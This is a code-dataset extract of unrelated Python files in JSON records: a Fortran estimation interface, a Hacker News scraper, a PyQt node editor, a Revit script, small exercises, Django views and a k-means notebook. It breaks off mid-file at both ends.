path=str_secret_path)\nprint(read_secret_result)","sub_path":"vault-hvac.py","file_name":"vault-hvac.py","file_ext":"py","file_size_in_byte":402,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"343174631","text":"\"\"\" This module serves as the interface between the PYTHON code and the FORTRAN\nimplementations.\n\n\"\"\"\nimport os\nimport subprocess\n\nimport numpy as np\nimport pandas as pd\n\nfrom respy.python.shared.shared_auxiliary import dist_class_attributes\nfrom respy.python.shared.shared_constants import EXEC_DIR\nfrom respy.python.shared.shared_constants import HUGE_FLOAT\nfrom respy.python.shared.shared_constants import MISSING_FLOAT\nfrom respy.python.shared.shared_constants import OPT_EST_FORT\n\n\ndef resfort_interface(respy_obj, request, data_array=None):\n \"\"\" This function provides the interface to the FORTRAN functionality.\n \"\"\"\n # Distribute class attributes\n (\n optim_paras,\n num_periods,\n edu_spec,\n is_debug,\n num_draws_emax,\n seed_emax,\n is_interpolated,\n num_points_interp,\n is_myopic,\n tau,\n num_procs,\n num_threads,\n num_agents_sim,\n num_draws_prob,\n seed_prob,\n seed_sim,\n optimizer_options,\n optimizer_used,\n maxfun,\n precond_spec,\n file_sim,\n num_paras,\n num_types,\n num_agents_est,\n ) = dist_class_attributes(\n respy_obj,\n \"optim_paras\",\n \"num_periods\",\n \"edu_spec\",\n \"is_debug\",\n \"num_draws_emax\",\n \"seed_emax\",\n \"is_interpolated\",\n \"num_points_interp\",\n \"is_myopic\",\n \"tau\",\n \"num_procs\",\n \"num_threads\",\n \"num_agents_sim\",\n \"num_draws_prob\",\n \"seed_prob\",\n \"seed_sim\",\n \"optimizer_options\",\n \"optimizer_used\",\n \"maxfun\",\n \"precond_spec\",\n \"file_sim\",\n \"num_paras\",\n \"num_types\",\n \"num_agents_est\",\n )\n\n if request == \"estimate\":\n # Check that selected optimizer is in line with version of program.\n if maxfun > 0:\n assert optimizer_used in OPT_EST_FORT\n\n assert data_array is not None\n # If an evaluation is requested, then a specially formatted dataset is written\n # to a scratch file. This eases the reading of the dataset in FORTRAN.\n write_dataset(data_array)\n\n args = (\n optim_paras,\n is_interpolated,\n num_draws_emax,\n num_periods,\n num_points_interp,\n is_myopic,\n edu_spec,\n is_debug,\n num_draws_prob,\n num_agents_sim,\n seed_prob,\n seed_emax,\n tau,\n num_procs,\n request,\n seed_sim,\n optimizer_options,\n optimizer_used,\n maxfun,\n num_paras,\n precond_spec,\n file_sim,\n data_array,\n num_types,\n num_agents_est,\n )\n\n write_resfort_initialization(*args)\n\n # Construct the appropriate call to the executable.\n env = os.environ.copy()\n env[\"OMP_NUM_THREADS\"] = \"{}\".format(num_threads)\n\n cmd = []\n if num_procs > 1:\n cmd += [\"mpiexec\", \"-n\", \"1\"]\n subprocess.check_call(cmd + [str(EXEC_DIR / \"resfort\")], env=env)\n\n # Return arguments depends on the request.\n if request == \"simulate\":\n results = get_results(\n num_periods, edu_spec, num_agents_sim, num_types, \"simulate\"\n )\n args = (results[:-1], results[-1])\n elif request == \"estimate\":\n args = None\n else:\n raise AssertionError\n\n return args\n\n\ndef get_results(num_periods, edu_spec, num_agents_sim, num_types, which):\n \"\"\" Add results to container.\n \"\"\"\n\n # Auxiliary information\n min_idx = edu_spec[\"max\"] + 1\n\n # Get the maximum number of states. The special treatment is required as it informs\n # about the dimensions of some of the arrays that are processed below.\n max_states_period = int(np.loadtxt(\".max_states_period.resfort.dat\"))\n\n os.unlink(\".max_states_period.resfort.dat\")\n\n shape = (num_periods, num_periods, num_periods, min_idx, 4, num_types)\n mapping_state_idx = read_data(\"mapping_state_idx\", shape).astype(\"int\")\n\n shape = (num_periods,)\n states_number_period = read_data(\"states_number_period\", shape).astype(\"int\")\n\n shape = (num_periods, max_states_period, 5)\n states_all = read_data(\"states_all\", shape).astype(\"int\")\n\n shape = (num_periods, max_states_period, 4)\n periods_rewards_systematic = read_data(\"periods_rewards_systematic\", shape)\n\n shape = (num_periods, max_states_period)\n periods_emax = read_data(\"periods_emax\", shape)\n\n # In case of a simulation, we can also process the simulated dataset.\n if which == \"simulate\":\n shape = (num_periods * num_agents_sim, 29)\n data_array = read_data(\"simulated\", shape)\n else:\n raise AssertionError\n\n # Update class attributes with solution\n args = (\n periods_rewards_systematic,\n states_number_period,\n mapping_state_idx,\n periods_emax,\n states_all,\n data_array,\n )\n\n # Finishing\n return args\n\n\ndef read_data(label, shape):\n \"\"\" Read results\n \"\"\"\n file_ = \".\" + label + \".resfort.dat\"\n\n # This special treatment is required as it is crucial for this data to stay of\n # integer type. All other data is transformed to float in the replacement of missing\n # values.\n if label == \"states_number_period\":\n data = np.loadtxt(file_, dtype=np.int64)\n else:\n data = np.loadtxt(file_)\n\n data = np.reshape(data, shape)\n\n # Cleanup\n os.unlink(file_)\n\n # Finishing\n return data\n\n\ndef write_resfort_initialization(\n optim_paras,\n is_interpolated,\n num_draws_emax,\n num_periods,\n num_points_interp,\n is_myopic,\n edu_spec,\n is_debug,\n num_draws_prob,\n num_agents_sim,\n seed_prob,\n seed_emax,\n tau,\n num_procs,\n request,\n seed_sim,\n optimizer_options,\n optimizer_used,\n maxfun,\n num_paras,\n precond_spec,\n file_sim,\n data_array,\n num_types,\n num_agents_est,\n):\n \"\"\" Write out model request to hidden file .model.resfort.ini.\n \"\"\"\n\n # Auxiliary objects\n if data_array is not None:\n num_rows = data_array.shape[0]\n else:\n num_rows = -1\n\n num_edu_start = len(edu_spec[\"start\"])\n\n # Write out to link file\n with open(\".model.resfort.ini\", \"w\") as file_:\n\n line = \"{0:10d}\\n\".format(num_paras)\n file_.write(line)\n line = \"{0:10d}\\n\".format(num_types)\n file_.write(line)\n line = \"{0:10d}\\n\".format(num_edu_start)\n file_.write(line)\n\n # BASICS\n line = \"{0:10d}\\n\".format(num_periods)\n file_.write(line)\n\n line = \"{0:25.15f}\\n\".format(optim_paras[\"delta\"][0])\n file_.write(line)\n\n # COMMON\n fmt_ = \" {:25.15f}\" * 2 + \"\\n\"\n file_.write(fmt_.format(*optim_paras[\"coeffs_common\"]))\n\n # WORK\n for num in [optim_paras[\"coeffs_a\"], optim_paras[\"coeffs_b\"]]:\n fmt_ = \" {:25.15f}\" * 15 + \"\\n\"\n file_.write(fmt_.format(*num))\n\n # EDUCATION\n fmt_ = \" {:25.15f}\" * 7 + \"\\n\"\n file_.write(fmt_.format(*optim_paras[\"coeffs_edu\"]))\n\n fmt_ = \" {:10d}\" * num_edu_start + \"\\n\"\n file_.write(fmt_.format(*edu_spec[\"start\"]))\n\n fmt_ = \" {:25.15f}\" * num_edu_start + \"\\n\"\n file_.write(fmt_.format(*edu_spec[\"share\"]))\n\n fmt_ = \" {:25.15f}\" * num_edu_start + \"\\n\"\n file_.write(fmt_.format(*edu_spec[\"lagged\"]))\n\n line = \" {0:10d}\\n\".format(edu_spec[\"max\"])\n file_.write(line)\n\n # HOME\n fmt_ = \" {:25.15f}\" * 3 + \"\\n\"\n file_.write(fmt_.format(*optim_paras[\"coeffs_home\"]))\n\n # SHOCKS\n for j in range(4):\n fmt_ = \" {:25.15f}\" * 4 + \"\\n\"\n file_.write(fmt_.format(*optim_paras[\"shocks_cholesky\"][j, :]))\n\n # SOLUTION\n line = \"{0:10d}\\n\".format(num_draws_emax)\n file_.write(line)\n\n line = \"{0:10d}\\n\".format(seed_emax)\n file_.write(line)\n\n # TYPES\n num = optim_paras[\"type_shares\"]\n fmt_ = \" {:25.15f}\" * num_types * 2 + \"\\n\"\n file_.write(fmt_.format(*num))\n for j in range(num_types):\n fmt_ = \" {:25.15f}\" * 4 + \"\\n\"\n file_.write(fmt_.format(*optim_paras[\"type_shifts\"][j, :]))\n\n # PROGRAM\n line = \"{0}\".format(is_debug)\n file_.write(line + \"\\n\")\n line = \"{0:10d}\\n\".format(num_procs)\n file_.write(line)\n\n # INTERPOLATION\n line = \"{0}\".format(is_interpolated)\n file_.write(line + \"\\n\")\n\n line = \"{0:10d}\\n\".format(num_points_interp)\n file_.write(line)\n\n # ESTIMATION\n line = \"{0:10d}\\n\".format(maxfun)\n file_.write(line)\n\n line = \"{0:10d}\\n\".format(num_agents_est)\n file_.write(line)\n\n line = \"{0:10d}\\n\".format(num_draws_prob)\n file_.write(line)\n\n line = \"{0:10d}\\n\".format(seed_prob)\n file_.write(line)\n\n line = \"{0:25.15f}\\n\".format(tau)\n file_.write(line)\n\n line = \"{0:10d}\\n\".format(num_rows)\n file_.write(line)\n\n # PRECONDITIONING\n line = \"{0}\\n\".format(precond_spec[\"type\"])\n file_.write(line)\n\n line = \"{0:25.15f}\\n\".format(precond_spec[\"minimum\"])\n file_.write(line)\n\n line = \"{0:25.15f}\\n\".format(precond_spec[\"eps\"])\n file_.write(line)\n\n # SIMULATION\n line = \"{0:10d}\\n\".format(num_agents_sim)\n file_.write(line)\n\n line = \"{0:10d}\\n\".format(seed_sim)\n file_.write(line)\n\n line = '\"{0}\"'.format(file_sim)\n file_.write(line + \"\\n\")\n\n # Auxiliary\n line = \"{0}\".format(is_myopic)\n file_.write(line + \"\\n\")\n\n fmt = \"{:} \" * num_paras\n line = fmt.format(*optim_paras[\"paras_fixed\"])\n file_.write(line + \"\\n\")\n\n # Request\n line = '\"{0}\"'.format(request)\n file_.write(line + \"\\n\")\n\n # Directory for executables\n line = '\"{0}\"'.format(EXEC_DIR)\n file_.write(line + \"\\n\")\n\n # Optimizers\n line = '\"{0}\"\\n'.format(optimizer_used)\n file_.write(line)\n\n for optimizer in [\"FORT-NEWUOA\", \"FORT-BOBYQA\"]:\n line = \"{0:10d}\\n\".format(optimizer_options[optimizer][\"npt\"])\n file_.write(line)\n\n line = \"{0:10d}\\n\".format(optimizer_options[optimizer][\"maxfun\"])\n file_.write(line)\n\n line = \" {0:25.15f}\\n\".format(optimizer_options[optimizer][\"rhobeg\"])\n file_.write(line)\n\n line = \" {0:25.15f}\\n\".format(optimizer_options[optimizer][\"rhoend\"])\n file_.write(line)\n\n line = \" {0:25.15f}\\n\".format(optimizer_options[\"FORT-BFGS\"][\"gtol\"])\n file_.write(line)\n\n line = \" {0:25.15f}\\n\".format(optimizer_options[\"FORT-BFGS\"][\"stpmx\"])\n file_.write(line)\n\n line = \"{0:10d}\\n\".format(optimizer_options[\"FORT-BFGS\"][\"maxiter\"])\n file_.write(line)\n\n line = \"{0:25.15f}\\n\".format(optimizer_options[\"FORT-BFGS\"][\"eps\"])\n file_.write(line)\n\n # Transform bounds\n bounds_lower = []\n bounds_upper = []\n for i in range(num_paras):\n bounds_lower += [optim_paras[\"paras_bounds\"][i][0]]\n bounds_upper += [optim_paras[\"paras_bounds\"][i][1]]\n\n for i in range(num_paras):\n if bounds_lower[i] is None:\n bounds_lower[i] = -MISSING_FLOAT\n\n for i in range(num_paras):\n if bounds_upper[i] is None:\n bounds_upper[i] = MISSING_FLOAT\n\n fmt_ = \" {:25.15f}\" * num_paras\n line = fmt_.format(*bounds_lower)\n file_.write(line + \"\\n\")\n\n line = fmt_.format(*bounds_upper)\n file_.write(line + \"\\n\")\n\n\ndef write_dataset(data_array):\n \"\"\" Write the dataset to a temporary file. Missing values are set to large values.\n \"\"\"\n # Transfer to data frame as this allows to fill the missing values with HUGE FLOAT.\n # The numpy array is passed in to align the interfaces across implementations\n data_frame = pd.DataFrame(data_array)\n with open(\".data.resfort.dat\", \"w\") as file_:\n data_frame.to_string(file_, index=False, header=None, na_rep=str(HUGE_FLOAT))\n","sub_path":"respy/fortran/interface.py","file_name":"interface.py","file_ext":"py","file_size_in_byte":12127,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"580136270","text":"from typing import List\n\nimport requests\nfrom bs4 import BeautifulSoup\nfrom db import News\n\n\ndef extract_news(parser: BeautifulSoup) -> List[News]:\n \"\"\" Extract news from a given web page \"\"\"\n news_list = []\n table = parser.find(\"table\", {\"class\": \"itemlist\"})\n trs = table.find_all(lambda tag: tag.name == \"tr\" and tag.get(\"class\") != [\"spacer\"])[:-2]\n for i in range(len(trs) // 2):\n nid = trs[i * 2][\"id\"]\n title = trs[i * 2].find_all(\"td\", {\"class\": \"title\"})[-1].find(\"a\").text\n try:\n author = trs[i * 2 + 1].find(\"a\", {\"class\": \"hnuser\"}).text\n except AttributeError:\n author = \"\"\n url = trs[i * 2].find_all(\"td\", {\"class\": \"title\"})[-1].find(\"a\")[\"href\"]\n try:\n comments = int(trs[i * 2 + 1].find_all(\"a\")[-1].text.split()[0])\n except ValueError:\n comments = 0\n try:\n points = int(\n trs[i * 2 + 1]\n .find_all(\"td\", {\"class\": \"subtext\"})[-1]\n .find(\"span\", {\"class\": \"score\"})\n .text.split()[0]\n )\n except AttributeError:\n points = 0\n label = None\n news_list.append(\n News(\n id=nid,\n title=title,\n author=author,\n url=url,\n comments=comments,\n points=points,\n label=label,\n )\n )\n return news_list\n\n\ndef extract_next_page(parser):\n \"\"\" Extract next page URL \"\"\"\n table = parser.find(\"table\", {\"class\": \"itemlist\"})\n trs = table.find_all(lambda tag: tag.name == \"tr\" and tag.get(\"class\") != [\"spacer\"])[-1]\n next_page_URL = trs.find(\"td\", {\"class\": \"title\"}).find(\"a\")[\"href\"]\n return next_page_URL\n\n\ndef get_news(url, n_pages=1):\n \"\"\" Collect news from a given web page \"\"\"\n news = []\n while n_pages:\n print(\"Collecting data from page: {}\".format(url))\n response = requests.get(url)\n soup = BeautifulSoup(response.text, \"html.parser\")\n news_list = extract_news(soup)\n next_page = extract_next_page(soup)\n url = \"https://news.ycombinator.com/\" + next_page\n news.extend(news_list)\n n_pages -= 1\n return news\n","sub_path":"homework06/scraputils.py","file_name":"scraputils.py","file_ext":"py","file_size_in_byte":2260,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"375526822","text":"#!usr/bin/python\r\n\r\nimport os\r\nfrom datetime import datetime as dt\r\n\r\ndate=[]\r\nsize=[]\r\nname=[]\r\n\r\nfor file in os.listdir(os.getcwd()):\r\n if os.path.isfile(file):\r\n name.append(file)\r\n date.append(dt.fromtimestamp(os.stat(file).st_mtime).date())\r\n size.append(os.stat(file).st_size)\r\n\r\nfor i in range(len(date)):\r\n print(date[i],\"\\t\", size[i], \"\\t\", name[i])\r\n\r\n","sub_path":"TopGear-Python-L1-Assignment-master/ex9.py","file_name":"ex9.py","file_ext":"py","file_size_in_byte":389,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"180514661","text":"import os\nimport sys\nimport time\nfrom pathlib import Path\n\nfrom PyQt5.QtCore import Qt\nfrom PyQt5.QtWidgets import QApplication, QAction, QFileDialog, QGraphicsView, \\\n QGraphicsScene, QMainWindow\nfrom PyQt5.QtGui import QDropEvent, QPainter\n\nfrom node import DataNode, ModuleNode\n\nNAME = 'cOmPoSe'\n\n\n# TODOs & BUGS\n# TODO: items sometimes randomly jump on main window resize\n# TODO: paths reset position on sync\n# TODO: delete functionality\n# DONE: paths should be attachable when pixmap moves\n# TODO: pixmap hierarchy? what should parents be?\n# TODO: check for acyclicity?\n# TODO: add image for output paths of datanode\n# TODO: add generic datanode image\n# TODO: arrows on paths\n# TODO: move about on window\n# TODO: abstract MapToScene, MapFromScene\n# TODO: make attaches bendy\n# TODO: clear up old paths/text for attaches\n# TODO: make attach path stick on move, done through edges_out attribute\n# TODO: rethink names, e.g. paths vs edges, remove_paths() should just remove paths, etc.\n# TODO: remove datanode paths, abstract remove_paths()?\n# TODO: copy paste functionality\n\n\nclass Main(QMainWindow):\n def __init__(self, parent=None):\n super().__init__(parent=parent)\n\n self.view = Canvas(self)\n self.initToolBar()\n self.setGeometry(0, 0, 500, 500)\n self.show()\n\n def initToolBar(self):\n toolbar = self.addToolBar('ToolBar')\n toolbar.setMovable(False)\n\n add_module = QAction('Add Module', toolbar)\n add_module.triggered.connect(self.view.addModule)\n toolbar.addAction(add_module)\n\n sync = QAction('Sync', toolbar)\n sync.triggered.connect(self.view.sync)\n toolbar.addAction(sync)\n\n def resizeEvent(self, event):\n self.view.resize(self.geometry().right() + 1, self.geometry().bottom())\n super().resizeEvent(event)\n\n\nclass Canvas(QGraphicsView):\n def __init__(self, parent):\n super().__init__(parent=parent)\n\n self.setGeometry(0, 28, parent.width(), parent.height())\n self.setWindowTitle(NAME)\n\n self.scene = QGraphicsScene()\n\n self.setScene(self.scene)\n self.setAcceptDrops(True)\n self.setMouseTracking(True)\n self.setRenderHint(QPainter.Antialiasing)\n\n self.last_sync_time = time.time()\n\n self.show()\n\n def addModule(self) -> None:\n path = QFileDialog.getOpenFileName(self, 'Add Module')[0]\n if not path:\n return\n try:\n new_node = ModuleNode(Path(path), self.scene)\n except ModuleNotFoundError as e:\n print(e)\n return\n self.scene.addItem(new_node)\n\n def dragMoveEvent(self, e):\n pass\n\n def dragEnterEvent(self, e):\n if e.mimeData().hasText():\n e.setAccepted(True)\n self.update()\n\n def dropEvent(self, e: QDropEvent):\n if e.mimeData().hasUrls():\n for url in e.mimeData().urls():\n path = Path(url.toLocalFile())\n if str(path).endswith('.py'):\n self.addModuleFromPath(path)\n elif path.is_dir():\n self.addDataNode(path)\n e.acceptProposedAction()\n\n def addDataNode(self, path: Path):\n dataNode = DataNode(path, self.scene)\n self.scene.addItem(dataNode)\n\n def sync(self):\n for item in self.items():\n if hasattr(item, 'update_parse'):\n if os.path.getmtime(item.sync_path) > self.last_sync_time:\n item.update_parse()\n self.last_sync_time = time.time() + 0.01\n\n def mousePressEvent(self, event):\n\n if event.buttons() == Qt.RightButton:\n self.dragPos = event.globalPos()\n event.accept()\n super().mousePressEvent(event)\n\n def mouseMoveEvent(self, event):\n if event.buttons() == Qt.RightButton:\n new_pos = self.pos() + event.globalPos() - self.dragPos\n self.move(new_pos)\n # self.setGeometry(self.x(), self.y(),\n # self.width() + new_pos.x(), self.height() + new_pos.y())\n self.dragPos = event.globalPos()\n event.accept()\n super().mouseMoveEvent(event)\n\n\nif __name__ == '__main__':\n app = QApplication([])\n ex = Main()\n sys.exit(app.exec_())\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4288,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"642974864","text":"import clr\nimport math\nclr.AddReference('RevitAPI')\nclr.AddReference('RevitAPIUI')\nfrom Autodesk.Revit.DB import *\n\ndoc = __revit__.ActiveUIDocument.Document\n\nt = Transaction(doc, 'This is my new transaction')\n\nt.Start()\n\n#Create a sketch plane\norigin = XYZ.Zero\nnormal = XYZ.BasisZ\n\nplane = Plane.CreateByNormalAndOrigin(normal, origin)\nskplane = SketchPlane.Create(doc, plane)\n\nline_start = XYZ(0, 0, 0)\nline_end = XYZ(0, 50, 0)\n\nline = Line.CreateBound(line_start, line_end)\naxis = doc.FamilyCreate.NewModelCurve(line, skplane)\naxis_ref = axis.GeometryCurve.Reference\n\nprofile_ref_array = ReferenceArray()\nref_point_array = ReferencePointArray()\n\npts = []\npts.append(XYZ(-20,0,0))\npts.append(XYZ(-30,25,0))\npts.append(XYZ(-20,50,0))\npts.append(XYZ(-30,75,0))\npts.append(XYZ(-20,100,0))\n\n# ref_point_array.append(XYZ(-20, 0, 0))\n# ref_point_array.append(XYZ(-30, 25, 0))\n# ref_point_array.append(XYZ(-20, 50, 0))\n# ref_point_array.append(XYZ(-30, 75, 0))\n# ref_point_array.append(XYZ(-20, 100, 0 ))\n\nfor i in range (5):\n\tref_point = doc.FamilyCreate.NewReferencePoint(pts[i])\n\tref_point_array.Append(ref_point)\n\nprofile = doc.FamilyCreate.NewCurveByPoints(ref_point_array)\nprofile_ref_array.Append(profile.GeometryCurve.Reference)\n\n# start_angle = 0\n# end_angle = 2*math.pi\n\nrevolve = doc.FamilyCreate.NewRevolveForms(True, profile_ref_array, axis_ref, 0, 2*math.pi)\n\n\nt.Commit()\n","sub_path":"Revit_Python/Python-Revit-Shell-15.py","file_name":"Python-Revit-Shell-15.py","file_ext":"py","file_size_in_byte":1382,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"500007984","text":"# Elabore um programa que calcule o valor a ser pago por um produto, considerando o seu preço normal e condição de\n# pagamento:\n# - Á vista dinheiro/cheque: 10% de desconto\n# - Á vista no cartão: 5% de desconto\n# - Em ate 2x no cartão: preço normal\n# - 3x ou mais no cartão: 20% de juros.\nprint('{:-^40}'.format(' LOJAS ANTONY GAMES '))\npreco = float(input('Qual o valor de seu produto R$ '))\nprint(''' Formas de pagamento:\n[1] Dinhero ou cheque \n[2] Á vista no cartão \n[3] Em até 2x no cartão \n[4] 3x ou mais no cartão''')\ndig = int(input('Qual a forma de paramento? '))\nif dig == 4 or dig == 3:\n if dig == 4:\n p = int(input('Quantas parcelas deseja dividir a compra? '))\n parcela = preco / p\n juros = (preco / p) * 0.2\n print('Seu pagamento foi em {} parcelas de R${} om juros, um total de R${} '\n .format(p, parcela + juros, p * (parcela + juros)))\n else:\n print('Seu pagamento foi em 2 parcelas sem juros de R${}, um total de R${}'.format(preco / 2, preco))\nelif dig == 1:\n desconto = preco * 0.1\n print('Como o pagameneto foi a vista/ cheque seu desconto foi R${} e irá pagar R${}'\n .format(desconto, preco - desconto))\nelif dig == 2:\n desconto = preco * 0.05\n print('Como o pagamento foi á vista no cartão seu desconto foi de R${} e irá pagar R${}'\n .format(desconto, preco - desconto))\nelse:\n print('Opção invalida de pagamento, tente novamente.')\n","sub_path":"desafio44.py","file_name":"desafio44.py","file_ext":"py","file_size_in_byte":1462,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"119001788","text":"## from codecademy exercise\r\n\r\nimport numpy as np\r\n\r\n# create 6 sided \"die\"\r\ndie_6 = range(1, 7)\r\n\r\n# set number of rolls\r\nnum_rolls = 10\r\n\r\n# roll the \"die\" the set amount of times\r\nresults_1 = np.random.choice(die_6, size = num_rolls, replace = True)\r\nprint(results_1)\r\n\r\n# create 12-sided \"die\"\r\ndie_12 = range(1, 13)\r\n\r\n# roll the 12-sided \"die\" 10 times\r\nresults_2 = np.random.choice(die_12, size = num_rolls, replace = True)\r\nprint(list(results_2))\r\n","sub_path":"rndnumpydice.py","file_name":"rndnumpydice.py","file_ext":"py","file_size_in_byte":456,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"567159789","text":"from utils.attrs import ListAttr, IntegerAttr\nfrom .gamblers import Gambler\nfrom .boxes import Box\n\n\nclass Table():\n min_boxes = 2\n max_boxes = 10\n\n boxes = ListAttr(\n type=tuple,\n item_type=Box,\n writable=False,\n )\n empty_boxes = ListAttr(\n type=tuple,\n item_type=Box,\n getter=lambda obj: tuple(x for x in obj.boxes if x.is_empty),\n writable=False,\n )\n active_boxes = ListAttr(\n type=tuple,\n item_type=Box,\n getter=lambda obj: tuple(x for x in obj.boxes if x.is_active),\n writable=False,\n )\n button_idx = IntegerAttr(min_value=0, writable=False)\n\n def __init__(self) -> None:\n self._boxes = tuple(Box() for _ in range(self.max_boxes))\n self._button_idx = 0\n\n def __repr__(self) -> str:\n return '<{}: {!r}>'.format(self.__class__.__name__, self._boxes)\n\n def occupy_box(self, box_num:int, gambler:Gambler, chips:int) -> None:\n if any(x.gambler == gambler for x in self._boxes):\n raise ValueError('{!r} is already at the table'.format(gambler))\n self._boxes[box_num].occupy(gambler, chips)\n\n def leave_box(self, box_num:int) -> None:\n self._boxes[box_num].leave()\n\n def box_is_empty(self, box_num:int) -> bool:\n return self._boxes[box_num].is_empty\n\n\n__all__ = ('Table',)\n","sub_path":"rooms/tables.py","file_name":"tables.py","file_ext":"py","file_size_in_byte":1350,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"10891655","text":"__author__ = \"Tom Kocmi\"\r\n\r\nCORPUSNAME = \"EN\"\r\nISINDIRECTORY = False #in case that corpus is stored in separate directory instead of one file\r\n\r\n\r\nRULESTXTFILENAME = \"models/RulesTxt-%s.data\" % (CORPUSNAME)\r\nMODELFILENAME = \"models/VectorModel-%s.data\" % (CORPUSNAME) #model filename\r\nFIXESFILENAME = \"models/Fixes-%s.data\" % (CORPUSNAME) #filename of saved prefixes and suffixes\r\nDATAFILENAME = \"models/%s.txt\" % (CORPUSNAME) #filename of training data, it should have sentence per line\r\nDATADIRNAME = \"models/%s/\" % (CORPUSNAME) #in case that corpus is stored in separate files in directory\r\n\r\n#word2vec model\r\nNNSIZE = 500 # size of the word vectors\r\nNUMCORES = 8 # number of threads that can be used for model creation\r\nMINOCCURENCES = 5 # minimum necessary number of occurences of word in the document to allow it in vocabulary\r\n\r\n#generation of affixes\r\nMAXFIX = 5 # longest possible suffix or prefix, In Soricut paper equals 6\r\nMAXWORDS4AFFIXES = 60000 # maximal number of words used to generate affixes\r\n\r\n#generation and evaluation of rules\r\nRARERULES = 10 # minimal number of pairs in support set of the rule\r\nHITTHRESHOLD = 100 # consider it that the rule applies in case that the generated vector is within HITTHRESHOLD nearest neighbors\r\nMAXSUPPORTSIZE = 1000 # maximal size of support set. In Soricut paper equals 1000. Downsample if more supports\r\nMEANINGPRESERVINGTHRESHOLD = 0.5 # if cosine similarity of the support set of the rule is smaller than this criterio, do not consider it\r\n\r\n\r\nMINLENCMNSUBSTR=3 #allow only common substring on len > 3\r\nMAXLENSEQLIST= 2","sub_path":"src/Cons.py","file_name":"Cons.py","file_ext":"py","file_size_in_byte":1588,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"58021440","text":"from election.models import ElectionDay\nfrom electionnight.serializers import OfficeListSerializer, OfficeSerializer\nfrom government.models import Office\nfrom rest_framework import generics\nfrom rest_framework.exceptions import APIException\n\n\nclass OfficeMixin(object):\n def get_queryset(self):\n \"\"\"\n Returns a queryset of all executive offices holding an election on\n a date.\n \"\"\"\n try:\n date = ElectionDay.objects.get(date=self.kwargs['date'])\n except Exception:\n raise APIException(\n 'No elections on {}.'.format(self.kwargs['date'])\n )\n office_ids = []\n for election in date.elections.all():\n office = election.race.office\n if not office.body:\n office_ids.append(office.uid)\n return Office.objects.filter(uid__in=office_ids)\n\n def get_serializer_context(self):\n \"\"\"Adds ``election_day`` to serializer context.\"\"\"\n context = super(OfficeMixin, self).get_serializer_context()\n context['election_date'] = self.kwargs['date']\n return context\n\n\nclass OfficeList(OfficeMixin, generics.ListAPIView):\n serializer_class = OfficeListSerializer\n\n\nclass OfficeDetail(OfficeMixin, generics.RetrieveAPIView):\n serializer_class = OfficeSerializer\n","sub_path":"electionnight/viewsets/office.py","file_name":"office.py","file_ext":"py","file_size_in_byte":1324,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"402476209","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\n# K-Means Clustering\n\n\n# In[2]:\n\n\n# Importing the libraries\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport pandas as pd\n\n\n# In[3]:\n\n\n# Importing the dataset\ndataset = pd.read_csv('D:DS_TriS/cars.csv')\ndataset.head()\n\n\n# In[4]:\n\n\nX = dataset.iloc[:,:-1].values\nX.shape\n\n\n# In[5]:\n\n\nX = pd.DataFrame(X)\nX = X.apply(pd.to_numeric, errors='coerce')\nX.dtypes\n\n\n# In[6]:\n\n\nX.isnull().sum()\n\n\n# In[7]:\n\n\n# Eliminating null values\nfor i in X.columns:\n X[i] = X[i].fillna(int(X[i].mean()))\nfor i in X.columns:\n print(X[i].isnull().sum())\n\n\n# In[8]:\n\n\n# Using the elbow method to find the optimal number of clusters\nfrom sklearn.cluster import KMeans\nwcss = []\nfor i in range(1,11):\n kmeans = KMeans(n_clusters=i,init='k-means++',max_iter=300,n_init=10,random_state=0)\n kmeans.fit(X)\n wcss.append(kmeans.inertia_)\nplt.plot(range(1,11),wcss)\nplt.title('The Elbow Method')\nplt.xlabel('Number of clusters')\nplt.ylabel('WCSS')\nplt.show()\n\n\n# In[9]:\n\n\n# Applying k-means to the cars dataset\nkmeans = KMeans(n_clusters=3,init='k-means++',max_iter=300,n_init=10,random_state=0) \ny_kmeans = kmeans.fit_predict(X)\n\n\n# In[10]:\n\n\nX = X.as_matrix(columns=None)\nX\n\n\n# In[11]:\n\n\n# Visualising the clusters\nplt.scatter(X[y_kmeans == 0, 0], X[y_kmeans == 0,1],s=100,c='red',label='US')\nplt.scatter(X[y_kmeans == 1, 0], X[y_kmeans == 1,1],s=100,c='blue',label='Japan')\nplt.scatter(X[y_kmeans == 2, 0], X[y_kmeans == 2,1],s=100,c='green',label='Europe')\nplt.scatter(kmeans.cluster_centers_[:,0],kmeans.cluster_centers_[:,1],s=300,c='yellow',label='Centroids')\nplt.title('Clusters of car brands')\nplt.legend()\nplt.show()\n\n\n# In[ ]:\n\n\n\n\n","sub_path":"KMeans_Cars.py","file_name":"KMeans_Cars.py","file_ext":"py","file_size_in_byte":1684,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"304130330","text":"from django.http import HttpResponse, HttpResponseRedirect\nfrom django.template import Context, loader\nfrom django.shortcuts import get_object_or_404, render\nfrom django.core.urlresolvers import reverse\nfrom django.contrib.auth.decorators import login_required\nfrom django.db.models.lookups import IExact\nfrom django.db import transaction\nfrom django.db import IntegrityError\n\nfrom .forms import *\nfrom .models import *\nfrom showCrime.settings import PlotPath, SiteURL\n\nimport logging\nlogger = logging.getLogger(__name__)\n\ndef index(request):\n \treturn render(request, 'dailyIncid/index.html')\n\ndef testPage(request):\n\treturn HttpResponse(\"Hello, world. You're at dailyIncid test.\")\n\ndef 